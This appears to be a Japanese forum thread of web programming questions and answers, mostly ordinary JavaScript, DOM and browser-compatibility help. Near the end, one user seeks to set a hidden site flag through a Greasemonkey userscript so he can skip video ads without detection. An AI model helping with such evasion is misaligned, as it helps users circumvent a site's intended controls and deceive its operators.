https://www.comic-essay.com/resize/hataraku/03_1/06.jpg
https://www.comic-essay.com/resize/hataraku/03_1/07.jpg
https://www.comic-essay.com/resize/hataraku/03_1/08.jpg
https://www.comic-essay.com/resize/hataraku/03_1/09.jpg
https://www.comic-essay.com/resize/hataraku/03_1/10.jpg

https://www.comic-essay.com/resize/hataraku/03_1/11.jpg
https://www.comic-essay.com/resize/hataraku/03_1/12.jpg
https://www.comic-essay.com/resize/hataraku/03_1/13.jpg
https://www.comic-essay.com/resize/hataraku/03_1/14.jpg
https://www.comic-essay.com/resize/hataraku/03_1/15.jpg
https://www.comic-essay.com/resize/hataraku/03_1/16.jpg
https://www.comic-essay.com/resize/hataraku/03_1/17.jpg
https://www.comic-essay.com/resize/hataraku/03_1/18.jpg
https://www.comic-essay.com/resize/hataraku/03_1/19.jpg
https://www.comic-essay.com/resize/hataraku/03_1/20.jpg
0642Name_Not_Found
垢版 |
2021/02/18(木) 16:55:01.06ID:???
今javascriptとnode.jsを勉強してるんですがこの2つだけじゃ身につけにくいプログラミング言語の特徴みたいなのありますか?
型とかポインタ?とかかなと思うんですが
0646Name_Not_Found
垢版 |
2021/04/29(木) 11:44:05.43ID:???
古すぎるスレを再利用するな無能
昔は賑わってたから分散を防ぐために1つ1つ潰していく必要があったし
それが美学だったが、もう死んでるスレを掘り起こす意味は無いだろ
さっさと新しく作れ
0647Name_Not_Found
垢版 |
2021/04/29(木) 12:15:52.87ID:???
>>646
別に死んでないよ
君はこのスレが使われると何か都合が悪いの?
0648Name_Not_Found
垢版 |
2021/04/29(木) 12:30:01.29ID:???
立てるべきと思うなら立てりゃいい
前スレも再利用だしなんで今更言い出すのか知らんけど
0649Name_Not_Found
垢版 |
2021/04/29(木) 12:41:32.35ID:???
馬鹿か
1つ、2つ前のスレならまだしも
2014年に建てられたスレをわざわざ掘り起こして再利用するヤツが居るかよ
テンプレだって腐ってんじゃねーか
ここに初めて質問した人にテンプレをまず確認しろという
超超超基本的なことも言えないだろ
下痢カス野郎
0650Name_Not_Found
垢版 |
2021/04/29(木) 12:48:48.95ID:???
いや立てりゃいいじゃん
前スレ1000行く前に立てりゃ良かったのに
0651Name_Not_Found
垢版 |
2021/04/29(木) 14:22:42.34ID:???
天才か
そりゃお前の言う通りだよ
オマケに次スレに案内したというところは超評価してるんだよ
でも案内先が地獄じゃねーかって文句一点だろ
いい加減理解しろよトンカチ頭
0652Name_Not_Found
垢版 |
2021/04/29(木) 14:26:08.42ID:???
いやここで愚痴る間に立てりゃいいじゃん
誰も禁止してない
0653Name_Not_Found
垢版 |
2021/04/29(木) 15:47:01.68ID:???
NO
俺は建てない
お前は国に不満があったら国を作るのか?
この親不孝者め!
0654Name_Not_Found
垢版 |
2021/06/06(日) 01:19:25.65ID:+xAn9A0m
Chromeブラウザの機能拡張についてはここで大丈夫でしょうか
自作の機能拡張を作りました。
ローカルから機能拡張をあててローカルに保存されたhtmlに対してだとエラーがでないのですが
ストアに登録して機能拡張あててローカルに保存されたhtmlだとエラーがでます。
manifestは
"permissions": [
"activeTab",
],
です。これだけだと足りないみたいなので"file://*/"を足そうと思うのですが
この対策で妥当ですか?

エラーは
lastError: Cannot access contents of the page. Extension manifest must request permission to access the respective host.
です

よろしくお願いします
0655Name_Not_Found
垢版 |
2021/06/10(木) 01:14:17.45ID:bwOWBIal
自己解決
"file://*/"の追加はいらない。機能拡張の設定からファイルへのアクセスを許可をONにするでいけました。
ローカルでの機能拡張の場合はデフォルトでONになってる。
0656Name_Not_Found
垢版 |
2021/06/12(土) 08:16:12.41ID:6jZj6mlh
jsで配列等の初期値は未定義ですか?
配列作成後、各要素にどのような値が入っているか仕様上の保証はありますか?
0657Name_Not_Found
垢版 |
2021/06/12(土) 09:15:32.60ID:6jZj6mlh
あ、やっぱりいいです
0658Name_Not_Found
垢版 |
2021/06/12(土) 10:50:43.79ID:???
JSで初期値があるのは宣言された変数のみ
たとえ長さ100のArrayを作ったところで
実際に空の箱が100個用意されるという仕様はない
ただlengthが100に設定された配列オブジェクトができるだけ
それぞれの要素に初期値などは設定されない
オブジェクトの未定義のプロパティにアクセスするとundefinedが帰るという仕様はある
ただしそれはundefinedが入っていることとはベつ
0659Name_Not_Found
垢版 |
2021/06/21(月) 01:24:09.81ID:???
簡単なアプリを作ったんですがiphoneのみ画像やアイコンが表示されません
windowsやlinuxの色々なブラウザでは問題無しです
よくある原因は何になりますか?
0661Name_Not_Found
垢版 |
2021/06/24(木) 00:36:30.85ID:???
【環境】Firefox 89.0.2, Chrome 91.0.4472.114
【何をしたのか】具材の一部を選択した後、フォームをリセットする
【エラーメッセージ】なし(input.curryのindeterminateプロパティがtrueのままになる)
【期待する結果】全てのチェックボックスのcheckedプロパティとindeterminateプロパティがfalseになる
【サンプルコード】https://jsfiddle.net/rhyutmL8/
0662Name_Not_Found
垢版 |
2021/06/24(木) 01:57:47.41ID:???
リセットボタンクリック時に関数実行してクリアすればよくね?
0663659
垢版 |
2021/06/30(水) 05:33:19.39ID:???
>>660
遅くなりましたがありがとうございます!
0664Name_Not_Found
垢版 |
2021/07/03(土) 23:36:16.44ID:???
>> 661
formのresetイベントでindeterminateをfalseにすればええんちゃう
0665Name_Not_Found
垢版 |
2021/07/08(木) 19:19:50.57ID:b91QYjEM
既出でしたらすみません。
slice()やcharAt()などの文字列メソッドの用途があまり想像できません…。
業務や趣味で使用したことある方いましたらどのように使用したのか教えていただけますでしょうか。
0667Name_Not_Found
垢版 |
2021/07/08(木) 23:18:56.24ID:???
パース処理するとき使うよ
0668Name_Not_Found
垢版 |
2021/07/09(金) 01:13:27.56ID:???
Ruby でも同じだけど、文字列処理で使う
0669Name_Not_Found
垢版 |
2021/07/09(金) 21:57:45.16ID:JB+h5L0S
料金シミュレーションができるサイトで、
リストを選択すると金額がかわるものがあります。

ソースを見ると
<select name="item">
<option data-price="1000" value="1">商品名</option>

のような感じになっており、
選択するとJavascriptでdata-priceの値を取得して
金額を計算する形が多いのですが、
こういう仕組みってセキュリティ的に問題ないのでしょうか?

外部からの送信で金額が書き換わるとか・・・
0671Name_Not_Found
垢版 |
2021/07/09(金) 22:35:34.36ID:???
>>670
安く買いたい人が金額を書き換えるとか、そういう問題起きないですかね?
フォームに金額を設定するタイプの仕様って危険な香りがして・・・
0672Name_Not_Found
垢版 |
2021/07/09(金) 23:00:20.44ID:???
>>671
常識的には実際に登録する時にサーバはバリデートする
でないとクルーザー100円で買ったよ!なんて事になるから
0673Name_Not_Found
垢版 |
2021/07/09(金) 23:47:15.96ID:???
自分が書き換えて、自分が見るだけなら、間違っても問題ない。
単に、その人の入力ミスだから

一方、サーバーのデータを書き換えて、大勢の人が見るなら、ヤバイ

サーバー側でもエラーチェックするけど、
例えば、千円を100円に間違ったため、多くの申し込みがあったとかは防げない

サーバー管理者にとって、100円がエラーとは分からないから
0674Name_Not_Found
垢版 |
2021/07/09(金) 23:52:28.68ID:???
よく起こるのは、通貨・株式取引で、1桁間違ったとか

こういうのは商取引でも、プロの取引に認定されているから、間違った人が悪い。
取引を錯誤などで、キャンセルできない。
取引が絶対に確定される

一方、一般消費者の取引では、錯誤でキャンセルできる。
一般消費者は取引のプロではないから
0675Name_Not_Found
垢版 |
2021/07/10(土) 03:22:04.94ID:???
>>671
フォームでsubmitされるのはvalue=“1”のほうであってdata-priceじゃない
確認画面では正しい金額で表示される

確認画面の金額もローカルで変更してから
OKボタンを押したところで支払う金額が変更後のものに変わるわけじゃない
0676Name_Not_Found
垢版 |
2021/07/10(土) 09:35:58.56ID:???
シミュレーションの値段変えて何がしたいの?
0677Name_Not_Found
垢版 |
2021/07/10(土) 10:16:22.71ID:???
>>671
できるかどうかの前に
故意に書き換えて購入しようとしたら犯罪ちゃうの?という素朴な疑問
0678Name_Not_Found
垢版 |
2021/07/10(土) 11:37:33.72ID:???
671です。実際に登録が完了する前にバリデーションしたら問題ない
ってのは分かった上で、表面上の金額が変わることに問題ないのか?
という疑問が起きました。
故意に変えたら犯罪ではありますが、
そういう仕様になっているのは設計する側のミスでもあるので。

とりあえず、「操作している人が金額を変えられたとしても
決済時に金額が代わらないなら問題ない」
という解釈をし、HTMLに金額を書いても問題ないと理解しておきます。
0679Name_Not_Found
垢版 |
2021/07/10(土) 11:51:27.44ID:???
スーパーの値札なんて簡単に入替できるけど
店舗設計者のミスなの?
0680Name_Not_Found
垢版 |
2021/07/10(土) 12:05:19.54ID:???
カスタムデータ属性で何ができるのか調べればいいのに…
目の付け所が糞過ぎて凄い勉強効率悪そう
0681Name_Not_Found
垢版 |
2021/07/10(土) 12:16:07.44ID:???
HTMLに金額書かずにどうやって客に金額を提示するんだよw
0682Name_Not_Found
垢版 |
2021/07/10(土) 12:48:42.90ID:???
書き換えられると困るので、このスーパーではレジのみにて金額の確認をさせていただいております
どうかよろしくご理解ください
0683Name_Not_Found
垢版 |
2021/07/10(土) 13:46:06.72ID:???
>>681
optionにはidだけ記載して、Ajaxで金額を称号して計算すると思ってました
でも、これならいちいちDBにアクセスするため、効率悪いですよね
0684Name_Not_Found
垢版 |
2021/07/10(土) 14:52:15.79ID:???
>>683
ajaxで金額を照合して計算したとしても
計算結果の金額をユーザーに提示する必要があるよね

それは何らかの形でHTMLに書かれるわけだから
data-priceに金額を書いてるのと同じで書き換えが可能
0685Name_Not_Found
垢版 |
2021/07/10(土) 16:58:48.39ID:???
>>684
非同期通信のデータも書き換えることができるんですね
出来ないと思ってました。HTMLに書くわけではないですから。
0686Name_Not_Found
垢版 |
2021/07/10(土) 18:05:23.78ID:???
もう何言ってるんだかって感じ・・・
とりあえずHTTPの基礎を学んで出直してくれ
0687Name_Not_Found
垢版 |
2021/07/10(土) 18:36:29.65ID:???
非同期通信とかを知っていて、なんでそんな思考になるのか理解できない
どんな順番で学んだのかな?
0688Name_Not_Found
垢版 |
2021/07/10(土) 18:43:06.10ID:???
逆です。「もし自分が知らなかったら大変なことになる」と思っての質問です。
完璧に全ての要件を理解しているわけではないので、
自分が知らないことでセキュリティリスクが発生してはいけないと思い、
イレギュラーな質問をした次第です。問題ないのならそれが一番です。
0689Name_Not_Found
垢版 |
2021/07/10(土) 18:43:40.11ID:???
非同期通信のデータも書き換えることができるけど
そうじゃなくてサーバーから受け取ったデータを元にHTMLを更新しないとユーザーは金額見れないじゃん
0690Name_Not_Found
垢版 |
2021/07/10(土) 19:23:04.57ID:???
頓珍漢な考え方がリスクですわ
0691Name_Not_Found
垢版 |
2021/07/10(土) 21:30:23.47ID:???
HTTP理解してない人間がWebアプリ開発に関わるというのが一番のリスク
Webアプリを開発するなら徳丸本レベルのセキュリティ知識は必須
0692Name_Not_Found
垢版 |
2021/07/11(日) 02:55:05.08ID:???
CSRFトークンやらは流石にチームリーダーかベテランが設計して、レビューするのでは?
0693Name_Not_Found
垢版 |
2021/07/11(日) 08:51:57.44ID:???
CSRFトークンとかはフレームワークが用意してる仕組みを使えよ
0694Name_Not_Found
垢版 |
2021/07/11(日) 21:26:02.13ID:???
Ruby on Rails では最初から、

CSRF・Cross Site Request Forgeries 対策されている
0695Name_Not_Found
垢版 |
2021/07/11(日) 22:22:40.00ID:???
ルビ基地はこんなところまで出張してくるのかよw
0696Name_Not_Found
垢版 |
2021/07/12(月) 00:29:51.71ID:nTiVq3dr
>>694
ルビ基地さん、マルチポストは禁止ですか?
0697Name_Not_Found
垢版 |
2021/07/12(月) 22:07:17.75ID:???
Web上で動く動画編集ソフトを作っていて、メモリの使用状況を知りたいのですが、
navigator.onmemorypressureがクソ使えません。
タブが落ちるまで発動しないことや、落ちる寸前で発動してどうしようもないときがしばしばあります。
今は代わりにWeakRefを使ってCGの粒度と頻度を監視してメモリの逼迫を予測しているのですが
いつまでも実装内部の微妙な振る舞いに頼った方法を使うわけにもいかないので
もっと良い解決方法はありませんでしょうか?
0698Name_Not_Found
垢版 |
2021/07/20(火) 11:11:13.43ID:nCbDsQ0J
超初心者です。
今やっている教材で
if(!$('#text').val()){
といった条件式のif文が出てきたのですが
これはなにをもってtrueなのでしょうか……

textは文字を1行入力するinput要素につけられたidだと思います
0699Name_Not_Found
垢版 |
2021/07/20(火) 13:47:53.58ID:???
その要素のvalue属性がfalsyなら条件式がtrue
(!が否定なので)

文字列が空だったりしたらtrueになる
0700Name_Not_Found
垢版 |
2021/07/21(水) 01:17:28.04ID:???
まず、!$('#text').val()、これは、!( $('#text').val() ) と同じ。
.val() は、<input>の内容を取得するので、文字列型

!文字列型 は、文字列を否定した真偽値になる。
さらに、その真偽値を否定すると、!!文字列型。肯定に戻る

文字列の真偽値は、空文字列なら偽。
それ以外は真と判定される

だから下の出力は、文字列が存在すれば「あいう true false」、
空文字列なら「false true」

<label>入力文字列<input type="text" id="Text1" value="あいう" autofocus></label><br>
<button id="Button1">押して</button>
<p>出力 : </p><div id="output"></div>

$( "#Button1" ).click( function ( ) {
inputText = $( "#Text1" ).val( ) // 取得
console.log( inputText, !!inputText, !inputText )

$( "#output" ).text( `${ inputText } ${ !!inputText } ${ !inputText }` ); // 設定
} )
0701Name_Not_Found
垢版 |
2021/07/21(水) 18:21:52.33ID:CSBnQv1Q
下記のような処理を行いたいのですが、「httpresponseに反応し、関数を呼び出す」の実装方法がわかりません。何か方法はありませんでしょうか。初学者の質問で恐縮です。

ページを表示→入力フォームに文字列を入力後送信ボタンをクリック→関数が呼び出され、httpresponseを返す→httpresponseに反応し、関数を呼び出す
0702Name_Not_Found
垢版 |
2021/07/21(水) 20:32:21.67ID:???
jQuery on を使う。
よく知らないけど、素のJavaScript なら、addEventListener かな?

$('button').on('click', function(){
console.log('on');
});

Ajax 通信かな?
Promise, async/await とか

1. クライアント側から、サーバーへ送信する
2. サーバーで処理して、クライアントへ返信する
3. クライアントで受信して、処理する
0703702
垢版 |
2021/07/21(水) 20:52:51.87ID:???
昔は、Ajax に、jQuery を使っていたけど、
最近は、axios を使う

「ajax axios 違い」で検索して!
0704701
垢版 |
2021/07/22(木) 20:18:00.61ID:QzkFgdkr
ありがとうございます!
0705Name_Not_Found
垢版 |
2021/07/25(日) 13:46:41.67ID:tNOxHXfJ
通信技術板なのかもしれないんだけど、サイト閲覧や掲示板利用でIMEIって抜かれる(抜ける)ものなのかな?

IMEIのチェックサイトでも自動取得ではなく入力しろとなっているから、特殊なアプリでもなければ無理だよな思うんだけど
JavaScriptでも端末情報の取得までがマックスだよね、ちょっと自信ないので教えてください

セキュリティ板でモバイル板行けと言われたんだけどモバイル板も板違いっぽくて、ここに辿り着きました
0707Name_Not_Found
垢版 |
2021/07/25(日) 16:59:19.64ID:J+IGjNJc
>>706
こんなのあったんだ、ありがとう

iPadのWiFi利用だからそこまでは分からないんだけど
ドコモのそれも勘弁してくれだなあw
こんな簡単に抜かれて偽装だのされたらかなわない
0708Name_Not_Found
垢版 |
2021/07/25(日) 23:08:42.11ID:???
>>705
「imei macアドレス 違い」で検索して

IMEI は知らないけど、
端末固有のMACアドレスなら、同一LAN 内で、端末を識別するために使うだけ。
LAN外のWAN・インターネットには、その情報を渡さない

もし外へも渡すのなら、それをユーザー自らが許可しないといけない
0709Name_Not_Found
垢版 |
2021/07/25(日) 23:48:09.30ID:???
UUIDが簡単に取れたのは昔々の話
iPhoneだとiOS6とかその時代
0710Name_Not_Found
垢版 |
2021/07/26(月) 01:20:17.16ID:SK1QlohO
>>708-709
ありがとう、さらに調べてみました
やはり警戒したいのはIMEIなんだけどWEB経由では取得出来ず、
アプリなら技術的には取得可能ということのよう
もっともAppleもGoogleも基本的にはアプリでの取得も認めてない模様
現段階では、これで間違いないような気がする(素人判断)
0711Name_Not_Found
垢版 |
2021/07/27(火) 22:37:24.54ID:???
このような場合でccc関数でaaa()を呼ぶにはどうしたらいいんですか?

function main{
   function aaa(){

   }
   function bbb(){

   }
}

function ccc(){
//ここでaaa()を呼びたい
}
0712Name_Not_Found
垢版 |
2021/07/27(火) 22:56:34.80ID:???
訂正:function mainではなくfunction main()です
0713Name_Not_Found
垢版 |
2021/07/27(火) 23:10:08.49ID:???
aaa を外出しにするか、main をインスタンスにしてaaaメソッドを呼ぶくらい
main内のスコープだよ内部変数と同じ
0714Name_Not_Found
垢版 |
2021/07/28(水) 21:05:25.27ID:???
ABEMAのサイトなんですが
その中で遷移する場合、普通に遷移するのではなく、
unloadせずにjsでいろいろして遷移しているように見えます。
(例えばhttps://abema.tv/now-on-air/news-plus から右のチャンネル一覧を出して別のチャンネルに移動する場合
Consoleにはリンク先URLに移動しました などのログがありませんがアドレスバーはちゃんとかわっています
戻るを右クリックして履歴を出してもちゃんと履歴はあります)
jsで読み込んでDOM操作すればページ自体は行けるのはわかるのですが
URLや履歴はなぜ遷移なしに変更できるかわかりません。
document.URLなどに移動先アドレスを代入すれば普通に遷移してしまうと思います。
これはどのようにして実現しているのでしょうか?
0716Name_Not_Found
垢版 |
2021/07/28(水) 21:19:47.79ID:???
javascript アドレスバー 書き換え
0718Name_Not_Found
垢版 |
2021/07/28(水) 21:31:20.19ID:???
chrome系の場合遷移したのにその前の履歴が残らないのはあまりよろしくないということで結構前のバージョンからreplaceStateでもpushStateと同じ動作なので注意
0719Name_Not_Found
垢版 |
2021/07/30(金) 05:56:08.20ID:???
その理由はおかしくないか?
303とかと同じで戻られたらよろしくないこともあるでしょ
0720Name_Not_Found
垢版 |
2021/07/30(金) 20:50:34.74ID:???
サムネをクリックするとページ移動しないでその場で拡大画像を表示させるには
jqueryやライブラリ使わないで自力でjavascriptコード書くのは難しいですか?
そんなに手間かからないならjavascriptだとどう書けばいいんですか?
0721Name_Not_Found
垢版 |
2021/07/30(金) 21:17:53.36ID:???
absoluteなdivをオブジェクトとして作っておいて
imgにclickのaddEventListenerでdivオブジェクトの中のimgのsrcをclickもとのsrcから引っ張ってきて
bodyあたりにappendChildしたらいいんじゃないかな
0722Name_Not_Found
垢版 |
2021/07/30(金) 21:20:03.39ID:???
>>720
全然難しくない
そういう処理をしてるサイトでクリックイベントのコードを見れば解決
0723Name_Not_Found
垢版 |
2021/07/30(金) 21:21:54.90ID:???
>>721
ajaxでデータ取ってくるイメージだと思うので
プログレスインジケーターとかもろもろの処理が普通は必要
0724Name_Not_Found
垢版 |
2021/07/31(土) 12:43:13.40ID:???
例えば、jQuery のhover で、画像サイズを大きくするアニメなら、

<img src="a.jpg" id="img_01">

$( function ( ) {

$( "#img_01" ).hover ( function ( ) {
$( this ).stop( ).animate(
{ width: '600' }, 1000 );
}, ( function ( ) {
$( this ).stop( ).animate(
{ width: '300' }, 1000 );
} )
)

} );
0725Name_Not_Found
垢版 |
2021/07/31(土) 13:45:44.53ID:???
サムネをそのまま拡大されてもなぁww
0726724
垢版 |
2021/07/31(土) 14:38:27.43ID:???
例えば、jQuery で、
ボタンをクリックすると、画像を追加する

<div id="div_1"></div>
<button id="btn_1">押して</button>

$( function ( ) {

$( '#btn_1' ).on( 'click', function( ) {
// 要素の下に、要素を追加する
$( "#div_1" ).after('<img src="b.jpg">');
} )

} );
0728Name_Not_Found
垢版 |
2021/07/31(土) 16:40:10.05ID:???
>>725
サムネならワンチャン transform の scale でいけますか?
いけますんね…
0729Name_Not_Found
垢版 |
2021/07/31(土) 16:50:19.76ID:???
できなくはないだろうけどやる意味がない
サイズ云々じゃなくてクリック対象と拡大表示される画像はさすがに別のDOMじゃないとださい
画像自体はでかい画像のほうをcssで縮小してサムネにしておくとかなら同じオブジェクトのコピーでもいいけど
0730Name_Not_Found
垢版 |
2021/08/01(日) 00:47:34.25ID:???
Lazy Loadみたいにimgタグに属性として実寸画像データのアドレス入れておいて差し替えたらいいんじゃないの?
0731Name_Not_Found
垢版 |
2021/08/01(日) 21:06:55.05ID:???
Googleフォトに登録してAPIを使えばいい
サムネイルのサイズから拡大のエフェクトまで端末の種類に応じていい感じにしてくれる
0733Name_Not_Found
垢版 |
2021/08/04(水) 19:06:41.91ID:???
wakuの高さを取得したくてこれでやっても600にならずに1800と表示されてしまいます。
どうしてでしょうか?たぶんoverflowで隠れた画像の高さも含めてる?
どうすれば高さの600を取得できますか?

<style>
#waku{
width:90%;
height:600px;
overflow:hidden;
}
</style>

<div id="waku">
<ul>
<li><img src="test1.png"></li>
...
<li><img src="test5.png"></li>
</ul>
</div>

<スクリプト>
var element = document.getElementByID("waku");
var element_style = getComputedStyle(element);
var property_value = element_style.getPropertyValue("height");
property_value = parseInt(property_value);

alert(property_value);

</スクリプト>
0734733
垢版 |
2021/08/04(水) 22:02:16.81ID:???
display:table-cellを消したらちゃんと取得できました
0735Name_Not_Found
垢版 |
2021/08/07(土) 12:53:08.80ID:???
element.onclick = func1;

func1(str){
alert(str);
}

この場合func1に引数を渡すにはどうすればいいんですか?

element.onclick = func1("aaa");ってやってもできなかった
0736Name_Not_Found
垢版 |
2021/08/07(土) 15:17:25.81ID:???
部分適用
- 関数を返す関数に引数を渡す
- 返す関数は外側の関数の引数をキャプチャする(クロージャ)

function func1(str) {
return function(e) {
alert(str);
}
}

element.onclick = func1("aaa");
0737Name_Not_Found
垢版 |
2021/08/07(土) 15:21:12.49ID:???
アロー関数使えばもう少し簡単に書ける
がCloudflareに弾かれたのでググってくれ
0739Name_Not_Found
垢版 |
2021/08/07(土) 21:44:05.47ID:b7e6t+Nb
ユーザーjsの使用用途で質問です。

webページで出てきたダイアログボックス(window.confirmで出力している様子)に対し
3秒後に自動で「OK」を押し(もしくはキーボードのEnter)てダイアログを閉じるにはどのように書いたら良いでしょうか・・?


使用環境
Chromeの拡張プラグインで「Tampermonkey」というユーザーjsのプラグインで使用

宜しくお願いします。
0740739
垢版 |
2021/08/07(土) 23:05:16.71ID:b7e6t+Nb
すいません用途や環境はあまり考えなくて大丈夫です。

普通にjsでダイアログを閉じる記述を教えてください。。
0741Name_Not_Found
垢版 |
2021/08/07(土) 23:41:27.15ID:???
comfirmやalertをスクリプトで閉じることはできないです
0743Name_Not_Found
垢版 |
2021/08/08(日) 01:04:35.61ID:???
>>741
なるほど・・そうだったのですね
ありがとうございます
0744Name_Not_Found
垢版 |
2021/08/09(月) 15:46:32.65ID:???
ユーザー操作が必要なのか

Selenium Webdriver で、ブラウザを自動操作すれば出来るのかな?
0749Name_Not_Found
垢版 |
2021/08/10(火) 13:53:21.83ID:???
jQuery のモーダルダイアログでは、

fadeIn( )で表示して、fadeOut( ) で非表示にするとか、
remove( ) で、モーダル要素を削除する

単に、jQueryで書いてるだけ
0750Name_Not_Found
垢版 |
2021/08/11(水) 00:02:48.47ID:???
comfirmのダイアログにidが無い場合、
SeleniumでもjQueryでもcomfirmのダイアログを指定するには何オブジェクトなのでしょうか・・?
windowでイケます・・?
0752Name_Not_Found
垢版 |
2021/08/11(水) 10:52:26.99ID:???
id, class, タグ名などを組み合わせて、特定できないの?
0753Name_Not_Found
垢版 |
2021/08/11(水) 15:37:59.62ID:???
>>752
無理のようですね。ダイアログが表示されている時はF12でソースすら確認出来ない状態ですし
confirmするのにidもclassもHTMLも不要ですし、、
0754Name_Not_Found
垢版 |
2021/08/12(木) 00:47:58.26ID:???
<ul id="img_set" style="display:flex">
<li><img src="test1.png"></li>
.
.
<li><img src="test5.png"></li>
</ul>
このような横並びの画像があったとしてその幅を取得したいけど
chromeだとgetpropertyでulのwidthを取得できたけどIE11だと
ちゃんとした幅が取得できませんでした。
どうすればIEでもちゃんとした幅が取得できますか?
0756Name_Not_Found
垢版 |
2021/08/12(木) 08:28:31.44ID:???
>>755
釣りじゃないよ
chromeとedgeはwidth2000だったけど
IEだと1000くらいだった
0757Name_Not_Found
垢版 |
2021/08/12(木) 11:23:44.53ID:???
さすがにもうIEをフォローするのは止めちゃってもいいんじゃないかな
0758Name_Not_Found
垢版 |
2021/08/12(木) 11:40:30.00ID:???
???「社のえらい人がIE使いなので対応してください」
???「官公庁です。根幹システムがIEのみなので従ってください」

これが日本
0759Name_Not_Found
垢版 |
2021/08/12(木) 12:17:13.81ID:???
そういう人はここには来ない
0761Name_Not_Found
垢版 |
2021/08/16(月) 00:10:17.57ID:???
var img_url_list = ["./aaa.png","./bbb.png","./ccc.png"];
var img_kosuu = img_url_list.length;
var img_obj_list = [];

for(var n=1;n<=img_kosuu;n++){

img_obj_list[n-1] = new Image();
img_obj_list[n-1].src = img_url_list[n-1];

}
var img_load_count = 0;

for(var n=1;n<=img_kosuu;n++){
img_obj_list[n-1].onload = function(){
img_load_count++;
}
}
var msg = img_load_count + "個の画像を読み込みました。";
alert(msg);

ちゃんと3個の画像を読み込んでも「0個の画像を読み込みました」って表示されてしまいます。
img_load_countはちゃんとカウントされているはずだけどどうしてですか?
どうすれば読み込んだ画像の数を表示できますか?
0762Name_Not_Found
垢版 |
2021/08/16(月) 02:52:21.51ID:???
一つ目のループの最後にappendChildを入れてみるとか
document.body.appendChild(iimg_obj_list[n-1]);
0763Name_Not_Found
垢版 |
2021/08/16(月) 03:18:06.79ID:???
>>761
どのタイミングでload eventが発生するのか考えたら?
0764Name_Not_Found
垢版 |
2021/08/16(月) 08:06:13.76ID:???
>>761
読込完了前にalert出してるから0個で正解
雑に対応するなら時間差を付ける
setTimeout(function(){
var msg = img_load_count + "個の画像を読み込みました。";
alert(msg);
},3000);
0765Name_Not_Found
垢版 |
2021/08/16(月) 12:47:43.04ID:???
Promise化してPromise.allで待つ
0766Name_Not_Found
垢版 |
2021/08/17(火) 12:42:11.34ID:???
>>761
最後のalertを全ての画像を読み終わったときにしたいなら
onloadの関数内でlengthとcountを見て最後だったらalert出す
にしたらいいんじゃないかな
0767Name_Not_Found
垢版 |
2021/08/18(水) 13:33:32.55ID:???
Promise.all で良いのでは?
0768Name_Not_Found
垢版 |
2021/08/23(月) 03:40:06.83ID:0irl4Nx0
今djangoメインでウェブアプリを作ってるんですが、どこまでの計算処理をjavascriptに任せてどこからをバックエンドのpythonで処理すべきかよくわかりません。

できる限りブラウザ側に計算処理させた方がいいと思うので出来る限りjavascripjで処理するようにするという基本思想で間違ってないでしょうか?

ほんとにバックエンドサーバー側で必要な処理だけをpythonで書くというのであってますか?
0769Name_Not_Found
垢版 |
2021/08/23(月) 04:41:21.50ID:???
Ruby on Rails の基本は、HTML をサーバーで作って返す。
JSON を返す、API モードもある。
さらに最近は、GraphQL もある

個人の起業用には、Rails, Bootstrap を使う。
または、それにReact も加える

YouTube で有名な、雑食系エンジニア・KENTA のサロンでは、
さらに、Vue.js, TypeScript も加える。
これは大企業用
0770Name_Not_Found
垢版 |
2021/08/23(月) 09:37:49.47ID:???
>>768
採用してるアーキテクチャとメンテナンス性やUXを考慮した役割分担方針によるので
一概にできるだけブラウザ側で処理したほうがいいというわけでもない

APIサーバーじゃなくDjangoのテンプレートエンジンつかってViewを返してるんなら
明らかにUXが向上する箇所だけクライアント側で処理するという方針も十分ありえる
0771Name_Not_Found
垢版 |
2021/08/23(月) 12:04:41.00ID:???
>>768
お節介だとは思うけど数字を誤魔化されるとマズいアプリだと計算はサーバ側で必要な処理になるからね>ゲームとかショップとかバリデートしなきゃならない
一言で「必要な処理」と言ってもアプリそれぞれだから注意しといてね
0772Name_Not_Found
垢版 |
2021/08/25(水) 17:38:24.41ID:???
webに関してなんですが
greasemonkeyで本来宣言されていない変数名を定義すると
web管理側が対策をしようとすればわかっちゃうものなんでしょうか
var test;
ほにゃらら処理行
test = undefined;
としておけばわからないのでしょうか
Firefoxのコンソールで見ると宣言前に
test で ReferenceError: test is not defined と表示され
test = undefined;後にtest を入力すると undefined と表示されます。
未宣言か未定義かの違いだと思うんですが
これの区別ってjsでできますか?
また使った変数を未宣言の状態に戻すことは可能でしょうか?
0773Name_Not_Found
垢版 |
2021/08/25(水) 18:20:51.22ID:???
基本見えないし自分が管理者ならそんな無駄な努力はしない
あと余所に見せたくないなら基本let,constで宣言すべき
0774Name_Not_Found
垢版 |
2021/08/25(水) 18:52:04.35ID:???
グリモンは全体を無名関数でくるめばサイト側から見えなくなるという話はどうなんでしょうか
0775Name_Not_Found
垢版 |
2021/08/25(水) 19:13:32.43ID:???
ありがとうございます
とあるサイトに
if(typeof(emergecy_xxx_brake_flg) !== undefined && emergecy_xxx_brake_flg == true){ ぬけあな }
みたいなコードを見つけかつ
emergecy_xxx_brake_flg をみると未定義でしたので
greasemonkeyでぬけあなを見つからないように使おうかなと思った次第です
あとでundefinedを入れておけば見つからないようですね
0776Name_Not_Found
垢版 |
2021/08/25(水) 19:26:19.06ID:???
ユーザースクリプトは無名関数で囲む書き方が一般的だけど
しなくても主要なユーザースクリプト拡張は
ページ側の変数や関数名とバッティングさせない、GM API等のために関数でラップされて注入されてるのでページ側のスクリプトからは見えない
0777Name_Not_Found
垢版 |
2021/08/25(水) 19:28:31.43ID:???
ということはemergecy_xxx_brake_flgをgreasemonkeyで定義しても元のscriptからは見えないし
ぬけあなを利用できないってことか
ありがとうございます
0778Name_Not_Found
垢版 |
2021/08/25(水) 19:36:12.89ID:???
ゲームのデバッグ用フラグっぽい雰囲気だけど
オンラインゲームなら変数定義云々関係なくチート行為はいずれバレるぞ
0779Name_Not_Found
垢版 |
2021/08/25(水) 19:46:45.57ID:???
広義のチートかもしれませんがフラグが立ってると
google IMA の動画広告を見ないで特定のページに行けるようになります
(postでパラメータを渡していてURLは同じなのでURL入力では飛べない。そのフラグでもIMAのあとのルーチンでも読んでる関数は同じ。)
0780Name_Not_Found
垢版 |
2021/08/25(水) 22:22:25.60ID:???
本来宣言されてない変数名が存在するかどうかなんてチェックしないよ
チート対策はもっと違うアプローチでやる

ユーザー数の少ないゲームだとチート対策にかけられる予算も少ないから
よほどナイーブなやり方じゃなければ検出されない
0781Name_Not_Found
垢版 |
2021/08/26(木) 01:41:30.42ID:???
もうチートだけ続くんじゃ
0782Name_Not_Found
垢版 |
2021/08/26(木) 09:09:45.78ID:???
それはアクセス解析で簡単に検出されるパターンな気がするな

